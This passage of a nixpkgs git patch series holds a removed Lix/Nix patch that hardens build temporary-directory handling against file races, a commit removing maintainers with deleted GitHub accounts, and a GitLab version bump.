-    does not thread through the original path name.
-
-    Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
----
- src/libstore/local-store.cc                   |  6 +--
- .../unix/build/local-derivation-goal.cc       | 46 ++++++++++++++----
- .../unix/build/local-derivation-goal.hh       | 20 ++++++++
- src/libutil/file-system.cc                    | 47 +++++++++++--------
- src/libutil/file-system.hh                    |  8 +++-
- 5 files changed, 94 insertions(+), 33 deletions(-)
-
-diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc
-index c6e3af456..c5489444e 100644
---- a/src/libstore/local-store.cc
-+++ b/src/libstore/local-store.cc
-@@ -187,7 +187,7 @@ void migrateCASchema(SQLite& db, Path schemaPath, AutoCloseFD& lockFd)
-             txn.commit();
-         }
- 
--        writeFile(schemaPath, fmt("%d", nixCASchemaVersion), 0666, true);
-+        writeFile(schemaPath, fmt("%d", nixCASchemaVersion), 0666, FsSync::Yes);
-         lockFile(lockFd.get(), ltRead, true);
-     }
- }
-@@ -345,7 +345,7 @@ LocalStore::LocalStore(
-     else if (curSchema == 0) { /* new store */
-         curSchema = nixSchemaVersion;
-         openDB(*state, true);
--        writeFile(schemaPath, fmt("%1%", curSchema), 0666, true);
-+        writeFile(schemaPath, fmt("%1%", curSchema), 0666, FsSync::Yes);
-     }
- 
-     else if (curSchema < nixSchemaVersion) {
-@@ -394,7 +394,7 @@ LocalStore::LocalStore(
-             txn.commit();
-         }
- 
--        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true);
-+        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, FsSync::Yes);
- 
-         lockFile(globalLock.get(), ltRead, true);
-     }
-diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
-index f8824e9ce..82c79f361 100644
---- a/src/libstore/unix/build/local-derivation-goal.cc
-+++ b/src/libstore/unix/build/local-derivation-goal.cc
-@@ -526,7 +526,14 @@ void LocalDerivationGoal::startBuilder()
-     } else {
-         tmpDir = topTmpDir;
-     }
--    chownToBuilder(tmpDir);
-+
-+    /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to
-+       POSIX semantics.*/
-+    tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
-+    if (!tmpDirFd)
-+        throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir);
-+
-+    chownToBuilder(tmpDirFd.get(), tmpDir);
- 
-     for (auto & [outputName, status] : initialOutputs) {
-         /* Set scratch path we'll actually use during the build.
-@@ -1110,9 +1117,7 @@ void LocalDerivationGoal::initTmpDir() {
-             } else {
-                 auto hash = hashString(HashAlgorithm::SHA256, i.first);
-                 std::string fn = ".attr-" + hash.to_string(HashFormat::Nix32, false);
--                Path p = tmpDir + "/" + fn;
--                writeFile(p, rewriteStrings(i.second, inputRewrites));
--                chownToBuilder(p);
-+                writeBuilderFile(fn, rewriteStrings(i.second, inputRewrites));
-                 env[i.first + "Path"] = tmpDirInSandbox + "/" + fn;
-             }
-         }
-@@ -1217,11 +1222,9 @@ void LocalDerivationGoal::writeStructuredAttrs()
- 
-         auto jsonSh = writeStructuredAttrsShell(json);
- 
--        writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites));
--        chownToBuilder(tmpDir + "/.attrs.sh");
-+        writeBuilderFile(".attrs.sh", rewriteStrings(jsonSh, inputRewrites));
-         env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh";
--        writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites));
--        chownToBuilder(tmpDir + "/.attrs.json");
-+        writeBuilderFile(".attrs.json", rewriteStrings(json.dump(), inputRewrites));
-         env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json";
-     }
- }
-@@ -1730,6 +1733,24 @@ void setupSeccomp()
- #endif
- }
- 
-+void LocalDerivationGoal::chownToBuilder(int fd, const Path & path)
-+{
-+    if (!buildUser) return;
-+    if (fchown(fd, buildUser->getUID(), buildUser->getGID()) == -1)
-+        throw SysError("cannot change ownership of file '%1%'", path);
-+}
-+
-+void LocalDerivationGoal::writeBuilderFile(
-+    const std::string & name,
-+    std::string_view contents)
-+{
-+    auto path = std::filesystem::path(tmpDir) / name;
-+    AutoCloseFD fd{openat(tmpDirFd.get(), name.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)};
-+    if (!fd)
-+        throw SysError("creating file %s", path);
-+    writeFile(fd, path, contents);
-+    chownToBuilder(fd.get(), path);
-+}
- 
- void LocalDerivationGoal::runChild()
- {
-@@ -3006,6 +3027,15 @@ void LocalDerivationGoal::checkOutputs(const std::map<std::string, ValidPathInfo
- void LocalDerivationGoal::deleteTmpDir(bool force)
- {
-     if (topTmpDir != "") {
-+        /* As an extra precaution, even in the event of `deletePath` failing to
-+         * clean up, the `tmpDir` will be chowned as if we were to move
-+         * it inside the Nix store.
-+         *
-+         * This hardens against an attack which smuggles a file descriptor
-+         * to make use of the temporary directory.
-+         */
-+        chmod(topTmpDir.c_str(), 0000);
-+
-         /* Don't keep temporary directories for builtins because they
-            might have privileged stuff (like a copy of netrc). */
-         if (settings.keepFailed && !force && !drv->isBuiltin()) {
-diff --git a/src/libstore/unix/build/local-derivation-goal.hh b/src/libstore/unix/build/local-derivation-goal.hh
-index bf25cf2a6..69c517c4a 100644
---- a/src/libstore/unix/build/local-derivation-goal.hh
-+++ b/src/libstore/unix/build/local-derivation-goal.hh
-@@ -37,6 +37,11 @@ struct LocalDerivationGoal : public DerivationGoal
-      */
-     Path topTmpDir;
- 
-+    /**
-+     * The file descriptor of the temporary directory.
-+     */
-+    AutoCloseFD tmpDirFd;
-+
-     /**
-      * The path of the temporary directory in the sandbox.
-      */
-@@ -232,9 +237,24 @@ struct LocalDerivationGoal : public DerivationGoal
- 
-     /**
-      * Make a file owned by the builder.
-+     *
-+     * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor.
-+     * It's only safe to call in a child of a directory only visible to the owner.
-      */
-     void chownToBuilder(const Path & path);
- 
-+    /**
-+     * Make a file owned by the builder addressed by its file descriptor.
-+     */
-+    void chownToBuilder(int fd, const Path & path);
-+
-+    /**
-+     * Create a file in `tmpDir` owned by the builder.
-+     */
-+    void writeBuilderFile(
-+        const std::string & name,
-+        std::string_view contents);
-+
-     int getChildStatus() override;
- 
-     /**
-diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
-index 8ec38e73b..554214d66 100644
---- a/src/libutil/file-system.cc
-+++ b/src/libutil/file-system.cc
-@@ -247,7 +247,7 @@ void readFile(const Path & path, Sink & sink)
- }
- 
- 
--void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
-+void writeFile(const Path & path, std::string_view s, mode_t mode, FsSync sync)
- {
-     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT
- // TODO
-@@ -257,22 +257,29 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
-        , mode));
-     if (!fd)
-         throw SysError("opening file '%1%'", path);
-+
-+    writeFile(fd, path, s, mode, sync);
-+
-+    /* Close explicitly to propagate the exceptions. */
-+    fd.close();
-+}
-+
-+void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode, FsSync sync)
-+{
-+    assert(fd);
-     try {
-         writeFull(fd.get(), s);
-+
-+        if (sync == FsSync::Yes)
-+            fd.fsync();
-+
-     } catch (Error & e) {
--        e.addTrace({}, "writing file '%1%'", path);
-+        e.addTrace({}, "writing file '%1%'", origPath);
-         throw;
-     }
--    if (sync)
--        fd.fsync();
--    // Explicitly close to make sure exceptions are propagated.
--    fd.close();
--    if (sync)
--        syncParent(path);
- }
- 
--
--void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
-+void writeFile(const Path & path, Source & source, mode_t mode, FsSync sync)
- {
-     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT
- // TODO
-@@ -296,11 +303,11 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
-         e.addTrace({}, "writing file '%1%'", path);
-         throw;
-     }
--    if (sync)
-+    if (sync == FsSync::Yes)
-         fd.fsync();
-     // Explicitly close to make sure exceptions are propagated.
-     fd.close();
--    if (sync)
-+    if (sync == FsSync::Yes)
-         syncParent(path);
- }
- 
-@@ -318,7 +325,8 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
- #ifndef _WIN32
-     checkInterrupt();
- 
--    std::string name(baseNameOf(path.native()));
-+    std::string name(path.filename());
-+    assert(name != "." && name != ".." && !name.empty());
- 
-     struct stat st;
-     if (fstatat(parentfd, name.c_str(), &st,
-@@ -359,7 +367,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
-                 throw SysError("chmod '%1%'", path);
-         }
- 
--        int fd = openat(parentfd, path.c_str(), O_RDONLY);
-+        int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
-         if (fd == -1)
-             throw SysError("opening directory '%1%'", path);
-         AutoCloseDir dir(fdopendir(fd));
-@@ -371,7 +379,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
-             checkInterrupt();
-             std::string childName = dirent->d_name;
-             if (childName == "." || childName == "..") continue;
--            _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed);
-+            _deletePath(dirfd(dir.get()), path / childName, bytesFreed);
-         }
-         if (errno) throw SysError("reading directory '%1%'", path);
-     }
-@@ -389,14 +397,13 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
- 
- static void _deletePath(const fs::path & path, uint64_t & bytesFreed)
- {
--    Path dir = dirOf(path.string());
--    if (dir == "")
--        dir = "/";
-+    assert(path.is_absolute());
-+    assert(path.parent_path() != path);
- 
--    AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY));
-+    AutoCloseFD dirfd = toDescriptor(open(path.parent_path().string().c_str(), O_RDONLY));
-     if (!dirfd) {
-         if (errno == ENOENT) return;
--        throw SysError("opening directory '%1%'", path);
-+        throw SysError("opening directory %s", path.parent_path());
-     }
- 
-     _deletePath(dirfd.get(), path, bytesFreed);
-diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
-index ed1112c7e..32b84456d 100644
---- a/src/libutil/file-system.hh
-+++ b/src/libutil/file-system.hh
-@@ -148,12 +148,16 @@ Descriptor openDirectory(const std::filesystem::path & path);
- std::string readFile(const Path & path);
- void readFile(const Path & path, Sink & sink);
- 
-+enum struct FsSync { Yes, No };
-+
- /**
-  * Write a string to a file.
-  */
--void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false);
-+void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No);
-+
-+void writeFile(const Path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No);
- 
--void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false);
-+void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No);
- 
- /**
-  * Flush a file's parent directory to disk
--- 
-2.44.1
-

From 7a6eda8acd693a35d2f82c80a00ee606ebea24ea Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 18 Jun 2025 21:47:30 -0400
Subject: [PATCH 1625/4511] treewide: remove maintainers with deleted GitHub
 accounts

Each of these maintainers came up in maintainers/scripts/check-maintainer-usernames.

I have manually verified that each of their IDs and usernames 404 when using the API calls
https://api.github.com/user/$ID, https://api.github.com/users/$USERNAME,
and https://api.github.com/users/$USERNAME/starred.

(cherry picked from commit f8776aff4772feff9db62700e69a24621b35b66b)
---
 maintainers/maintainer-list.nix               | 85 -------------------
 nixos/tests/etesync-dav.nix                   |  2 +-
 pkgs/by-name/ch/chsrc/package.nix             |  2 +-
 pkgs/by-name/dn/dns-over-https/package.nix    |  2 +-
 pkgs/by-name/em/emojify/package.nix           |  2 +-
 pkgs/by-name/gi/gifgen/package.nix            |  2 +-
 pkgs/by-name/gu/guile-aspell/package.nix      |  2 +-
 pkgs/by-name/im/imgur-screenshot/package.nix  |  2 +-
 .../by-name/ke/keepass-keepassrpc/package.nix |  1 -
 pkgs/by-name/le/lenpaste/package.nix          |  2 +-
 pkgs/by-name/pr/proton-caller/package.nix     |  2 +-
 pkgs/by-name/py/pyrosimple/package.nix        |  5 +-
 pkgs/by-name/qa/qalculate-qt/package.nix      |  2 +-
 pkgs/by-name/se/sem/package.nix               |  2 +-
 pkgs/by-name/se/session-desktop/package.nix   |  1 -
 pkgs/by-name/xm/xmousepasteblock/package.nix  |  2 +-
 .../python-modules/etebase/default.nix        |  2 +-
 pkgs/servers/news/leafnode/1.nix              |  2 +-
 pkgs/servers/news/leafnode/default.nix        |  2 +-
 19 files changed, 16 insertions(+), 106 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index b8220cbe7a87..bd4e3ae1431a 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -211,12 +211,6 @@
     github = "365tuwe";
     githubId = 10263091;
   };
-  _3699n = {
-    email = "nicholas@nvk.pm";
-    github = "3699n";
-    githubId = 7414843;
-    name = "Nicholas von Klitzing";
-  };
   _3JlOy-PYCCKUi = {
     name = "3JlOy-PYCCKUi";
     email = "3jl0y_pycckui@riseup.net";
@@ -241,14 +235,6 @@
     githubId = 1714287;
     name = "Owen Shepherd";
   };
-  _4825764518 = {
-    email = "4825764518@purelymail.com";
-    matrix = "@kenzie:matrix.kenzi.dev";
-    github = "4825764518";
-    githubId = 100122841;
-    name = "Kenzie";
-    keys = [ { fingerprint = "D292 365E 3C46 A5AA 75EE  B30B 78DB 7EDE 3540 794B"; } ];
-  };
   _4ever2 = {
     email = "eske@cs.au.dk";
     github = "4ever2";
@@ -5220,13 +5206,6 @@
     name = "Carl Richard Theodor Schneider";
     keys = [ { fingerprint = "2017 E152 BB81 5C16 955C  E612 45BC C1E2 709B 1788"; } ];
   };
-  cryo = {
-    email = "cryo@disroot.org";
-    github = "cry0ice";
-    githubId = 176274027;
-    name = "Cryo";
-    keys = [ { fingerprint = "2CF7 F8E8 2258 5751 2591  F97F 4B12 E34A 25A9 AB35"; } ];
-  };
   Cryolitia = {
     name = "Cryolitia PukNgae";
     email = "Cryolitia@gmail.com";
@@ -5315,12 +5294,6 @@
 
     keys = [ { fingerprint = "BBED 1B08 8CED 7F95 8917 FBE8 5004 F0FA D051 576D"; } ];
   };
-  cyewashish = {
-    name = "Cyewashish";
-    email = "wawashish@cyekaivy.dev";
-    github = "cyewashish";
-    githubId = 180875322;
-  };
   cynerd = {
     name = "Karel Kočí";
     email = "cynerd@email.cz";
@@ -10658,14 +10631,6 @@
     name = "Silvan Mosberger";
     keys = [ { fingerprint = "6C2B 55D4 4E04 8266 6B7D  DA1A 422E 9EDA E015 7170"; } ];
   };
-  infinitivewitch = {
-    name = "Infinitive Witch";
-    email = "infinitivewitch@disroot.org";
-    matrix = "@infinitivewitch:fedora.im";
-    github = "infinitivewitch";
-    githubId = 128256833;
-    keys = [ { fingerprint = "CF3D F4AD C7BD 1FDB A88B  E4B3 CA2D 43DA 939D 94FB"; } ];
-  };
   ingenieroariel = {
     email = "ariel@nunez.co";
     github = "ingenieroariel";
@@ -12880,12 +12845,6 @@
     githubId = 59027018;
     name = "Andrey Khorokhorin";
   };
-  kho-dialga = {
-    email = "ivandashenyou@gmail.com";
-    github = "Kho-Dialga";
-    githubId = 55767703;
-    name = "Iván Brito";
-  };
   khumba = {
     email = "bog@khumba.net";
     github = "khumba";
@@ -14011,12 +13970,6 @@
     name = "Liassica";
     keys = [ { fingerprint = "83BE 3033 6164 B971 FA82  7036 0D34 0E59 4980 7BDD"; } ];
   };
-  liberatys = {
-    email = "liberatys@hey.com";
-    name = "Nick Anthony Flueckiger";
-    github = "liberatys";
-    githubId = 35100156;
-  };
   liberodark = {
     email = "liberodark@gmail.com";
     github = "liberodark";
@@ -14694,12 +14647,6 @@
     githubId = 208297;
     name = "Luz";
   };
-  lw = {
-    email = "lw@fmap.me";
-    github = "lolwat97";
-    githubId = 2057309;
-    name = "Sergey Sofeychuk";
-  };
   lx = {
     email = "alex@adnab.me";
     github = "Alexis211";
@@ -16330,12 +16277,6 @@
     githubId = 24192522;
     name = "MithicSpirit";
   };
-  mjanczyk = {
-    email = "m@dragonvr.pl";
-    github = "mjanczyk";
-    githubId = 1001112;
-    name = "Marcin Janczyk";
-  };
   mjm = {
     email = "matt@mattmoriarity.com";
     github = "mjm";
@@ -17279,12 +17220,6 @@
     githubId = 137805;
     name = "Alexander Tsvyashchenko";
   };
-  ne9z = {
-    email = "yuchen@apvc.uk";
-    github = "ne9z";
-    githubId = 77314501;
-    name = "Maurice Zhou";
-  };
   nealfennimore = {
     email = "hi@neal.codes";
     github = "nealfennimore";
@@ -19148,12 +19083,6 @@
     github = "petee";
     githubId = 89916;
   };
-  petercommand = {
-    email = "petercommand@gmail.com";
-    github = "ptrcmd";
-    githubId = 1260660;
-    name = "petercommand";
-  };
   peterhoeg = {
     email = "peter@hoeg.com";
     matrix = "@peter:hoeg.com";
@@ -23172,14 +23101,6 @@
     github = "SnO2WMaN";
     githubId = 15155608;
   };
-  snowflake = {
-    email = "snowflake@pissmail.com";
-    name = "Snowflake";
-    github = "snf1k";
-    githubId = 149651684;
-    matrix = "@snowflake:mozilla.org";
-    keys = [ { fingerprint = "8223 7B6F 2FF4 8F16 B652  6CA3 934F 9E5F 9701 2C0B"; } ];
-  };
   snpschaaf = {
     email = "philipe.schaaf@secunet.com";
     name = "Philippe Schaaf";
@@ -25857,12 +25778,6 @@
     github = "vdot0x23";
     githubId = 40716069;
   };
-  vector1dev = {
-    name = "vector1dev";
-    matrix = "@vector1dev:vector1.dev";
-    github = "vector1dev";
-    githubId = 127302590;
-  };
   vedantmgoyal9 = {
     name = "Vedant Mohan Goyal";
     matrix = "@vedantmgoyal:beeper.com";
diff --git a/nixos/tests/etesync-dav.nix b/nixos/tests/etesync-dav.nix
index c8f86a84e371..d940e6561185 100644
--- a/nixos/tests/etesync-dav.nix
+++ b/nixos/tests/etesync-dav.nix
@@ -4,7 +4,7 @@ import ./make-test-python.nix (
 
     name = "etesync-dav";
     meta = with pkgs.lib.maintainers; {
-      maintainers = [ _3699n ];
+      maintainers = [ ];
     };
 
     nodes.machine =
diff --git a/pkgs/by-name/ch/chsrc/package.nix b/pkgs/by-name/ch/chsrc/package.nix
index d8c58669355f..48657350626b 100644
--- a/pkgs/by-name/ch/chsrc/package.nix
+++ b/pkgs/by-name/ch/chsrc/package.nix
@@ -37,7 +37,7 @@ stdenv.mkDerivation (finalAttrs: {
       gpl3Plus
       mit
     ];
-    maintainers = with lib.maintainers; [ cryo ];
+    maintainers = with lib.maintainers; [ ];
     platforms = lib.platforms.all;
     mainProgram = "chsrc";
   };
diff --git a/pkgs/by-name/dn/dns-over-https/package.nix b/pkgs/by-name/dn/dns-over-https/package.nix
index db100adceb15..c4c26c1d47ee 100644
--- a/pkgs/by-name/dn/dns-over-https/package.nix
+++ b/pkgs/by-name/dn/dns-over-https/package.nix
@@ -34,7 +34,7 @@ buildGoModule rec {
     changelog = "https://github.com/m13253/dns-over-https/releases/tag/v${version}";
     description = "High performance DNS over HTTPS client & server";
     license = lib.licenses.mit;
-    maintainers = with lib.maintainers; [ cryo ];
+    maintainers = with lib.maintainers; [ ];
     platforms = lib.platforms.all;
   };
 }
diff --git a/pkgs/by-name/em/emojify/package.nix b/pkgs/by-name/em/emojify/package.nix
index f812a206920a..e337185e7856 100644
--- a/pkgs/by-name/em/emojify/package.nix
+++ b/pkgs/by-name/em/emojify/package.nix
@@ -25,7 +25,7 @@ stdenv.mkDerivation rec {
     description = "Emoji on the command line";
     homepage = "https://github.com/mrowa44/emojify";
     license = licenses.mit;
-    maintainers = with maintainers; [ snowflake ];
+    maintainers = with maintainers; [ ];
     platforms = platforms.all;
     mainProgram = "emojify";
   };
diff --git a/pkgs/by-name/gi/gifgen/package.nix b/pkgs/by-name/gi/gifgen/package.nix
index 896d1a71a543..094e82198194 100644
--- a/pkgs/by-name/gi/gifgen/package.nix
+++ b/pkgs/by-name/gi/gifgen/package.nix
@@ -33,7 +33,7 @@ stdenv.mkDerivation rec {
     description = "Simple high quality GIF encoding";
     homepage = "https://github.com/lukechilds/gifgen";
     license = licenses.mit;
-    maintainers = with maintainers; [ snowflake ];
+    maintainers = with maintainers; [ ];
     mainProgram = "gifgen";
     platforms = platforms.all;
   };
diff --git a/pkgs/by-name/gu/guile-aspell/package.nix b/pkgs/by-name/gu/guile-aspell/package.nix
index dbb87edb5d03..64cfcb472bd6 100644
--- a/pkgs/by-name/gu/guile-aspell/package.nix
+++ b/pkgs/by-name/gu/guile-aspell/package.nix
@@ -41,7 +41,7 @@ stdenv.mkDerivation (finalAttrs: {
     description = "Guile bindings for the aspell library";
     homepage = "https://github.com/spk121/guile-aspell";
     license = licenses.gpl3Only;
-    maintainers = with maintainers; [ snowflake ];
+    maintainers = with maintainers; [ ];
     platforms = guile.meta.platforms;
   };
 })
diff --git a/pkgs/by-name/im/imgur-screenshot/package.nix b/pkgs/by-name/im/imgur-screenshot/package.nix
index c9d29bfe92c6..05b338997d9b 100644
--- a/pkgs/by-name/im/imgur-screenshot/package.nix
+++ b/pkgs/by-name/im/imgur-screenshot/package.nix
@@ -46,7 +46,7 @@ stdenv.mkDerivation rec {
     homepage = "https://github.com/jomo/imgur-screenshot/";
     platforms = platforms.linux;
     license = licenses.mit;
-    maintainers = with maintainers; [ lw ];
+    maintainers = with maintainers; [ ];
     mainProgram = "imgur-screenshot";
   };
 }
diff --git a/pkgs/by-name/ke/keepass-keepassrpc/package.nix b/pkgs/by-name/ke/keepass-keepassrpc/package.nix
index 3ff6d6efe4a9..85aada8031da 100644
--- a/pkgs/by-name/ke/keepass-keepassrpc/package.nix
+++ b/pkgs/by-name/ke/keepass-keepassrpc/package.nix
@@ -22,7 +22,6 @@ let
       platforms = [ "x86_64-linux" ];
       license = licenses.gpl2;
       maintainers = with maintainers; [
-        mjanczyk
         svsdep
         mgregoire
       ];
diff --git a/pkgs/by-name/le/lenpaste/package.nix b/pkgs/by-name/le/lenpaste/package.nix
index 757a586b5b38..7a6f7deb39d5 100644
--- a/pkgs/by-name/le/lenpaste/package.nix
+++ b/pkgs/by-name/le/lenpaste/package.nix
@@ -34,7 +34,7 @@ buildGoModule rec {
     description = "Web service that allows you to share notes anonymously, an alternative to pastebin.com";
     homepage = "https://git.lcomrade.su/root/lenpaste";
     license = licenses.agpl3Plus;
-    maintainers = with maintainers; [ vector1dev ];
+    maintainers = with maintainers; [ ];
     mainProgram = "lenpaste";
   };
 }
diff --git a/pkgs/by-name/pr/proton-caller/package.nix b/pkgs/by-name/pr/proton-caller/package.nix
index 7321597a5dc9..2f22dfe0e8f4 100644
--- a/pkgs/by-name/pr/proton-caller/package.nix
+++ b/pkgs/by-name/pr/proton-caller/package.nix
@@ -23,7 +23,7 @@ rustPlatform.buildRustPackage rec {
     changelog = "https://github.com/caverym/proton-caller/releases/tag/${version}";
     homepage = "https://github.com/caverym/proton-caller";
     license = licenses.mit;
-    maintainers = with maintainers; [ kho-dialga ];
+    maintainers = with maintainers; [ ];
     mainProgram = "proton-call";
   };
 }
diff --git a/pkgs/by-name/py/pyrosimple/package.nix b/pkgs/by-name/py/pyrosimple/package.nix
index 488419993e11..c975d67f1d87 100644
--- a/pkgs/by-name/py/pyrosimple/package.nix
+++ b/pkgs/by-name/py/pyrosimple/package.nix
@@ -68,9 +68,6 @@ python3.pkgs.buildPythonApplication rec {
     homepage = "https://kannibalox.github.io/pyrosimple/";
     changelog = "https://github.com/kannibalox/pyrosimple/blob/v${version}/CHANGELOG.md";
     license = licenses.gpl3Plus;
-    maintainers = with maintainers; [
-      ne9z
-      vamega
-    ];
+    maintainers = with maintainers; [ vamega ];
   };
 }
diff --git a/pkgs/by-name/qa/qalculate-qt/package.nix b/pkgs/by-name/qa/qalculate-qt/package.nix
index 12002621cc9f..88608eeb5a05 100644
--- a/pkgs/by-name/qa/qalculate-qt/package.nix
+++ b/pkgs/by-name/qa/qalculate-qt/package.nix
@@ -49,7 +49,7 @@ stdenv.mkDerivation (finalAttrs: {
   meta = with lib; {
     description = "Ultimate desktop calculator";
     homepage = "http://qalculate.github.io";
-    maintainers = with maintainers; [ _4825764518 ];
+    maintainers = with maintainers; [ ];
     license = licenses.gpl2Plus;
     mainProgram = "qalculate-qt";
     platforms = platforms.unix;
diff --git a/pkgs/by-name/se/sem/package.nix b/pkgs/by-name/se/sem/package.nix
index 0e75dfacea5b..a44c8cba092a 100644
--- a/pkgs/by-name/se/sem/package.nix
+++ b/pkgs/by-name/se/sem/package.nix
@@ -32,7 +32,7 @@ buildGoModule rec {
     homepage = "https://github.com/semaphoreci/cli";
     changelog = "https://github.com/semaphoreci/cli/releases/tag/v${version}";
     license = licenses.asl20;
-    maintainers = with maintainers; [ liberatys ];
+    maintainers = with maintainers; [ ];
     platforms = platforms.linux;
   };
 }
diff --git a/pkgs/by-name/se/session-desktop/package.nix b/pkgs/by-name/se/session-desktop/package.nix
index 61e408915c62..b9183d1da7e7 100644
--- a/pkgs/by-name/se/session-desktop/package.nix
+++ b/pkgs/by-name/se/session-desktop/package.nix
@@ -60,7 +60,6 @@ stdenvNoCC.mkDerivation {
     license = licenses.gpl3Only;
     maintainers = with maintainers; [
       alexnortung
-      cyewashish
     ];
     platforms = [ "x86_64-linux" ];
     sourceProvenance = with sourceTypes; [ binaryNativeCode ];
diff --git a/pkgs/by-name/xm/xmousepasteblock/package.nix b/pkgs/by-name/xm/xmousepasteblock/package.nix
index ba74ded883e0..30a994fd81c8 100644
--- a/pkgs/by-name/xm/xmousepasteblock/package.nix
+++ b/pkgs/by-name/xm/xmousepasteblock/package.nix
@@ -31,7 +31,7 @@ stdenv.mkDerivation rec {
     description = "Middle mouse button primary X selection/clipboard paste disabler";
     homepage = "https://github.com/milaq/XMousePasteBlock";
     license = lib.licenses.gpl2Only;
-    maintainers = [ maintainers.petercommand ];
+    maintainers = [ ];
     mainProgram = "xmousepasteblock";
   };
 }
diff --git a/pkgs/development/python-modules/etebase/default.nix b/pkgs/development/python-modules/etebase/default.nix
index 119ab454014c..ef37dbb1c77a 100644
--- a/pkgs/development/python-modules/etebase/default.nix
+++ b/pkgs/development/python-modules/etebase/default.nix
@@ -77,6 +77,6 @@ buildPythonPackage rec {
     homepage = "https://www.etebase.com/";
     description = "Python client library for Etebase";
     license = licenses.bsd3;
-    maintainers = with maintainers; [ _3699n ];
+    maintainers = with maintainers; [ ];
   };
 }
diff --git a/pkgs/servers/news/leafnode/1.nix b/pkgs/servers/news/leafnode/1.nix
index 7218a82c2564..87c69dc6c234 100644
--- a/pkgs/servers/news/leafnode/1.nix
+++ b/pkgs/servers/news/leafnode/1.nix
@@ -25,6 +25,6 @@ stdenv.mkDerivation (finalAttrs: {
     description = "Implementation of a store & forward NNTP proxy, stable release";
     license = lib.licenses.mit;
     platforms = lib.platforms.unix;
-    maintainers = [ lib.maintainers.ne9z ];
+    maintainers = [ ];
   };
 })
diff --git a/pkgs/servers/news/leafnode/default.nix b/pkgs/servers/news/leafnode/default.nix
index e7faa5be35a7..312b567d49ad 100644
--- a/pkgs/servers/news/leafnode/default.nix
+++ b/pkgs/servers/news/leafnode/default.nix
@@ -43,6 +43,6 @@ stdenv.mkDerivation (finalAttrs: {
     description = "Implementation of a store & forward NNTP proxy, under development";
     license = lib.licenses.mit;
     platforms = lib.platforms.unix;
-    maintainers = [ lib.maintainers.ne9z ];
+    maintainers = [ ];
   };
 })

From bd063bb759a5be145290ea2edc47aea544c4dd72 Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Wed, 25 Jun 2025 12:31:23 +0200
Subject: [PATCH 1626/4511] gitlab: 18.1.0 -> 18.1.1

https://about.gitlab.com/releases/2025/06/25/patch-release-gitlab-18-1-1-released/
(cherry picked from commit 605472a6d15a5b880e4e19ef2cdf3ce0aa2ff223)
---
 pkgs/by-name/gi/gitaly/package.nix                  |  4 ++--
 pkgs/by-name/gi/gitlab-pages/package.nix            |  4 ++--
 pkgs/by-name/gi/gitlab/data.json                    | 12 ++++++------
 pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix |  2 +-
 4 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/pkgs/by-name/gi/gitaly/package.nix b/pkgs/by-name/gi/gitaly/package.nix
index 90d217241ae1..c44d42860fd1 100644
--- a/pkgs/by-name/gi/gitaly/package.nix
+++ b/pkgs/by-name/gi/gitaly/package.nix
@@ -7,7 +7,7 @@
 }:
 
 let
-  version = "18.1.0";
+  version = "18.1.1";
   package_version = "v${lib.versions.major version}";
   gitaly_package = "gitlab.com/gitlab-org/gitaly/${package_version}";
 
@@ -21,7 +21,7 @@ let
       owner = "gitlab-org";
       repo = "gitaly";
       rev = "v${version}";
-      hash = "sha256-nttZfGjQKRSYCoMHSljojYLNScyDPHd8ayCuDkvKXpE=";
+      hash = "sha256-R79UV6QIEO/B7xQ3ds4scm7twHmalziksKBJ97tYVJM=";
     };
 
     vendorHash = "sha256-BTpcnaHNyLgdAA9KqqA+mBo18fmQ0+OwLGNOPHRJ/IE=";
